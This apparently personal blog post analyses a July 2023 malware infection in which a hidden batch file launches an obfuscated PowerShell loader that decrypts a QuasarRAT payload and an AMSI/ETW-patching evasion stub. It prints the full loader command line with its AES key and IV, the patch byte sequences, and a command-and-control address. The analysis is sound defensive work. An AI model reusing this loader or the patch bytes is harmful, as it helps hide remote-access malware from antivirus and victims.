I was at my desk in office. Must have been around 12 or 12.30 PM, July 12, 2023. Suddenly, Windows Defender showed a “Threat found” alert. That immediately drew my attention. I checked to see which file it had detected and noticed it was a “udgbQ.vbs” file inside %appdata% that Defender had tagged. Of course, once I got to the folder, I saw Defender immediately remove from there. If I remember correctly, it was just a 1 KB file – I couldn’t get a look into its contents. However, I also saw two more files – “udgbQ.bat.exe” and “udgbQ.bat” :
(Read after finishing the article: Of note here is that at first,
the exe file wasn’t visible even when the “Show hidden files” option in Windows
Explorer was checked. But Process Hacker was reporting that such a process was
already running and when asked to go to the file path of the process, it would
take right to %appdata%, with no trace of the exe file – only the bat file
could be seen. I then surmised from CurrPorts’ Process Attributes value of
“AHS” that it must have set it to be an Archived Hidden System file. So I did
an “attrib –s –h –a –r *.*” in the folder and the exe file finally showed. The
attrib trick is from the good old days of virus hunting in Windows XP when I
was in school – something that my Computer Science teacher had told us.)
I went into panic mode. I
opened up the contents of the rather large bat file and it was a load of
gibberish. I’ve included in this folder the same file as a .txt file (“udgbQ.bat.txt”)
so that it’s not executed accidentally. Anyway, its content looks like the
following:
Lines 2 through 7 and the final line 9 are legible. This batch script basically runs a powershell instance hidden and copies the legit powershell binary to its folder with its own name with an “.exe” appended, then it calls the copied powershell binary with a huge commandline argument (the call "%p%" %U:uLqiO=% line’s %U:uLqiO=% variable resolves into the correct argument because of the huge “set” command of line 8).
I tried figuring out what
this mangled content would resolve into manually but I had also fired up
Process Hacker by then and when I took a look at the commandline for the
“udgbQ.bat.exe” process that was now running, it was already in plaintext:
First, I suspended the
process after realizing it had already established a connection to the
following:
Remote address:
51.77.167.52
Remote host name:
ip52.ip-51-77-167.eu
Remote port: 6060
Local port: 63421
Protocol: TCP
(I made this observation
using the Nirsoft program “CurrPorts”). I then looked into the commandline
passed to this weirdly named powershell binary. The commandline was the
following:
$oIou='InnJKbvonJKbknJKbenJKb'.Replace('nJKb',
'');$AzqP='EnnJKbtrnJKbyPonJKbinJKbntnJKb'.Replace('nJKb', '');$LWEJ='ChnJKbannJKbgenJKbEnJKbxtenJKbnsnJKbionnJKb'.Replace('nJKb',
'');$Jwxg='TranJKbnsnJKbfnJKbormnJKbFinnJKbanJKblBlnJKbocknJKb'.Replace('nJKb',
'');$pWwA='LoadnJKb'.Replace('nJKb',
'');$eDxq='CreanJKbtnJKbeDnJKbecnJKbrypnJKbtnJKbornJKb'.Replace('nJKb', '');$DtTM='MnJKbainJKbnnJKbMonJKbdnJKbulenJKb'.Replace('nJKb',
'');$JZlt='SpnJKblinJKbtnJKb'.Replace('nJKb',
'');$xzWC='GnJKbetCnJKburnJKbrnJKbennJKbtPnJKbrocnJKbesnJKbsnJKb'.Replace('nJKb',
'');$aZrq='FnJKbronJKbmnJKbBnJKbasenJKb64nJKbStrnJKbingnJKb'.Replace('nJKb',
'');$zerm='FirnJKbstnJKb'.Replace('nJKb',
'');$euof='ReanJKbdnJKbLinJKbnnJKbesnJKb'.Replace('nJKb', '');function
SHmms($fIyrX){$OXHzj=[System.Security.Cryptography.Aes]::Create();$OXHzj.Mode=[System.Security.Cryptography.CipherMode]::CBC;$OXHzj.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$OXHzj.Key=[System.Convert]::$aZrq('Ku4UyUqCrVKpr817sKewP+3V+wWyOhyCkaqfyyShZ9E=');$OXHzj.IV=[System.Convert]::$aZrq('6ttlhKwyOYtu8WT6FBC9HQ==');$RRNwL=$OXHzj.$eDxq();$jXMSp=$RRNwL.$Jwxg($fIyrX,0,$fIyrX.Length);$RRNwL.Dispose();$OXHzj.Dispose();$jXMSp;}function
ODGMY($fIyrX){$nYjJX=New-Object
System.IO.MemoryStream(,$fIyrX);$fmBrg=New-Object
System.IO.MemoryStream;$lLnxw=New-Object
System.IO.Compression.GZipStream($nYjJX,[IO.Compression.CompressionMode]::Decompress);$lLnxw.CopyTo($fmBrg);$lLnxw.Dispose();$nYjJX.Dispose();$fmBrg.Dispose();$fmBrg.ToArray();}$KawWa=[System.Linq.Enumerable]::$zerm([System.IO.File]::$euof([System.IO.Path]::$LWEJ([System.Diagnostics.Process]::$xzWC().$DtTM.FileName,
$null)));$RIswh=$KawWa.Substring(3).$JZlt(':');$qTCRy=ODGMY (SHmms
([Convert]::$aZrq($RIswh[0])));$DWMcP=ODGMY (SHmms
([Convert]::$aZrq($RIswh[1])));[System.Reflection.Assembly]::$pWwA([byte[]]$DWMcP).$AzqP.$oIou($null,$null);[System.Reflection.Assembly]::$pWwA([byte[]]$qTCRy).$AzqP.$oIou($null,$null);
This was better than what
was in the bat file but still not entirely obvious. I tried a bunch of things
including manually cleaning up the .Replace() calls and separating out the
semicolon-delimeted lines for better readability, tried CyberChef as well but
finally settled on just pasting the whole thing into Visual Studio Code, saved
it as a .ps1 file (powershell script) (after realizing it’s a powershell
script) and formatted the file using VS Code’s PowerShell extension. It got a
lot cleaner and looked a lot more like a normal powershell script. I didn’t
want to do the .Replace() calls on my own, so I just added a breakpoint after
all the .Replace() calls and simply hovered my cursor above the variables to
get what they resolved to. Eventually, I manually replaced all the variables
with their resolved string values as follows:
(Note that I’ve modified
line 42 to use a valid path to the .exe file)
This script file has also
been included in the same folder as this document.
I stepped through the
code in VS Code, careful not to actually run whatever it is trying to run (I’ve
commented out the final two lines of this file that actually Invoke the two payloads) and let VS
Code and PowerShell do all the decrypting and what have you. I also added code
to dump the payloads as .bin files
So, recapitulating the
situation as a whole, the .bat file itself contains the compressed, encrypted
and base64’ed version of the contents of the two payloads separated by a colon
‘:’ towards the beginning of the file and also contains the batch script that
instructs powershell to get these two payloads and execute them. All of that
information in just one file! That’s really cool.
Here’s
the scan link.
Running Exe Info PE on
the payload revealed that it’s a .NET assembly, and running .NET Reflector on
it suggests that it’s a .NET assembly likely crypted with ScrubCrypter :
The actual RAT or stealer
or whatever it is, is encrypted and is going to be decrypted and loaded at
runtime by this .NET crypter.
Though it says Unknown obfuscation, it produces a deobfuscated assembly and loading it up with dnSpy reveals that the deobfuscation works:
The class names and the
methods and the variables are legible.
Now, I just place a
breakpoint at line 31 (guessing the previous line returns the decrypted payload
to a byte array) and just right click on the “rawAssembly” local variable and
click Save and voila, I have the original payload. It is about 3.2 MB in size
and Detect It Easy says the payload is a .NET Framework 4 executable as well:
VirusTotal
is fairly certain that it is QuasarRAT:
Now, moving on to the next payload in the bat file (obtained by dumping the byte array inside the function call @ line 45 of the powershell script). This payload appears to be smaller – only about 15 KB. Virustotal says it’s a Trojan named “Barys”:
I load it in dnSpy and
see mangled names here as well, similar to the first payload, so I use de4dot
on it to deobfuscate/clean it as far as possible(though it says the obfuscator
is unknown here as well):
Here’s the payload loaded
in dnSpy, both the original version and the cleaned version:
The names are readable at
least, though the strings are all gibberish and a lot of Win32 API calls appear
to have been made dynamically. Lots of Marshal.GetDelegateForFunctionPointer()
calls as well. The names of the API calls aren’t visible either:
Looks like it’s obtaining
the address of API function addresses from its process and resolving them to
their corresponding function delegates. These delegates and their parameters
look familiar – CloseHandle(), VirtualProtect(), CreateFile(),
CreateFileMapping(), CopyMemory(), IsWow64Process() etc.
And it’s also got it’s
own GetProcAddress() implementation as smethod_4.
In this screenshot, it’s running through the 1634 exports of kernel32.dll whose
base address it got from this other method smethod_3
which basically functions as its own version of GetModuleHandle():
And it stops once it arrives
at the requested API call (in this case, CloseHandle()), it returns the
address:
And it’s got smethod_2 that gives it the address of
any exported API function from any library using the results of smethod_3 and smethod_4:
The following static members
are delegates or ready-to-use functions for these win32 APIs:
kernel32.dll!CloseHandle(), kernel32.dll!FreeLibrary(),
kernel32.dll!VirtualProtect(), kernel32.dll!CreateFileA(), kernel32.dll!CreateFileMappingA(),
kernel32.dll!MapViewOfFile(), msvcrt.dll!memcpy(),
psapi.dll!GetModuleInformation() and kernel32.dll!IsWow64Process():
Oh, and smethod_0 is what resolves the garbage
strings to their real forms:
Now, let’s see the Main()
method of the program:
It calls smethod_1 with “ntdll.dll” as the
parameter (the smethod_0 call
resolves the Chinese-looking characters into “ntdll.dll”):
I copied the method into
Visual Studio Code and added some comments, since the previously prepared
delegates for win32 API functions have been used in this method. I’ve included
this code in the “SecondPayload” folder:
I also asked Skype’s Bing
chat what this code did:
I also searched the
internet for why a program might want to manually map ntdll and came up with
some informative articles:
https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/
https://blog.nviso.eu/2020/11/20/dynamic-invocation-in-net-to-bypass-hooks/
Turns out, it’s an AV
evasion technique to avoid falling into the trap of hooks set by antivirus
software. Most realtime AV software will place hooks into API functions
exported by windows dll files that are commonly used by most programs to
inspect the data being passed to these functions and check if anything fishy is
going on and stuff like that. If a malware calls any API exported by such a dll
say, ntdll.dll, its function calls are going to be intercepted by the AV. So,
in a bid to circumvent this “function hooking” set up by AVs, malwares use a
trick called “manual mapping” of the required dlls, so that the modified/hooked
function exports of the loaded dlls are replaced by a fresh copy mapped
directly from their corresponding files on disk. After this step, the malware
can safely call any export of the dll and be sure that the AV won’t be privy to
this operation.
So, all that method_1 is doing is mapping a fresh,
unmodified copy of ntdll.dll to its memory. The same thing is being done to
kernel32.dll as well, if the OS is Windows 10 or 11 (major version no. > 10)
and 64-bit:
Now, line 16 i.e. smethod_0 call looks like following:
The first parameter is
“amsi.dll” – a dll file present on Windows OS starting from Windows 10 and it
exposes functions for checking if a given buffer contains malicious code. (See AmsiScanBuffer function
on MSDN) The second parameter is “AmsiScanBuffer” which is a function exported
by amsi.dll. On Windows, when PowerShell is opened, it always loads this dll
and calls the aforementioned function to check for malicious payloads when it
is executing powershell scripts. The third parameter ‘byte_0’ holds an array of
bytes: { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 } and the fourth parameter ‘byte_1’
holds { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 } which looked like
opcodes to me and I asked Skype Bing Chat, to which it replied with astonishing
specificity and insight – as if these bytes are always used in association with
AmsiScanBuffer patching:
So, it basically looks
like it’s trying to patch the contents of the AmsiScanBuffer function with bytes that return AMSI_RESULT_CLEAN (for details, look it up on MSDN) for both x32
and x64 bit version of the process. Apparently, “amsi bypass” has been a thing
ever since PowerShell based malware rose to prominence:
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://threatresearch.ext.hp.com/disabling-anti-malware-scanning-amsi/
https://www.cyberark.com/resources/threat-research-blog/amsi-bypass-redux
I would guess, if this
.NET payload (which is very small btw, 15 KB these days is considered tiny) is
loaded by a powershell script (which runs in the process of PowerShell) via
Reflection (Assembly.Load() and what not) and invoked (https://stackoverflow.com/questions/23174205/how-can-i-run-an-exe-file-with-assembly-class),
the PowerShell process would be defenseless against malicious scripts – even
well known and signature payloads would fail to be reported since the AmsiScanBuffer function would always
return clean.
In my case, where I’m
running the payload separately as a debugee using dnSpy’s debugger, there’s no
“amsi.dll” to be found in this process’ modules as is evident from Process
Hacker:
So, the program throws an
exception and lands on the catch block at line 44:
Now, the smethod_0 call at line 17 looks like
the following:
It’s trying to patch
another function exported by ntdll – EtwEventWrite()
Turns out, this function
is used by processes to expose information about the managed assemblies (.NET binaries)
that have been loaded in them. Tools like Process Hacker can see the .NET
assemblies loaded in a process because all processes participate in this
reporting using EtwEventWrite(). More info can be found all over the internet
but I read this article by Adam Chester and found it really enlightening: https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/
From this article, I also
learnt that the previous function patch for amsi.dll also works for managed
processes using .NET Framework 4.8 and above (they apply checks, when
Assembly.Load()’ing a .NET assembly, for malware using amsi.dll’s AmsiScanBuffer()):
More info on this topic
is available on the post by Adam Chester I linked above.
Anyway, going back to our
EtwEventWrite function patch, the
bytes used for patching this time are (third and fourth params of smethod_0) are { 0xC3 } and { 0xC2,
0x14, 0x00 }:
0xC3 is obviously a RET
and the 3 bytes in the fourth parameter correspond to RET 0x14 apparently,
according to Skype Bing Chat:
Obviously, as before, the
fourth parameter is for patching in a x64 bit process.
So, the second call to smethod_0 is intended to hide the
loading of .NET assemblies to a process (typically unmanaged, as I gathered
from the previous article) so that tools such as Process Hacker and probably
AVs don’t see what .NET assemblies have been loaded into a process. And of course,
this time, it succeeds because ntdll is loaded in all processes:
That’s all this binary
does. So, going back to our original powershell script:
Observing lines 48 and
49, it’s clear that the powershell instance is going to first execute the
second payload for the amsi and EtwEventWrite bypass and then the actual, first
payload which VirusTotal thought was QuasarRAT. If all had gone well, a
PowerShell process would have been running QuasarRAT and Windows Defender
wouldn’t have a clue, and neither it nor we would be any wiser to the fact that
a RAT had been loaded into it.
Some side notes:
-Avira doesn’t
consistently detect the second payload. Sometimes, it says clean and sometimes
says it’s a malware and quarantines it.
-I had noticed mouse
cursor flickering a week or two prior to this incident and noted down the
times:
July 4, 2023
10:45 AM
12:56 PM
1:55 PM
3:15 PM
3:45 PM
4:15 PM
July 6, 2023
2 PM
2:45 PM
July 7, 2023
2:45 PM
5:15 PM
5:32 PM
July 11, 2023
3:45 PM
4:15 PM
4:36 PM
5:15 PM
-I still don’t know what
caused the malware to be dropped into %appdata% in the first place.
-I was at first convinced
that the file “udgbQ.bat.exe” was the malware but later realized it’s just an
x86 PowerShell binary copied from System32.
-The two payloads have
been included in “FirstPayload” and “SecondPayload” folders separately. Each
folder contains “output.bin.zip” which is the Gzipped version dumped from the
powershell script and can be extracted using Winrar/7-zip. Or, just run the
powershell script for decompressing the payloads and dump those bytearrays
instead for the actual executable payload.
No comments:
Post a Comment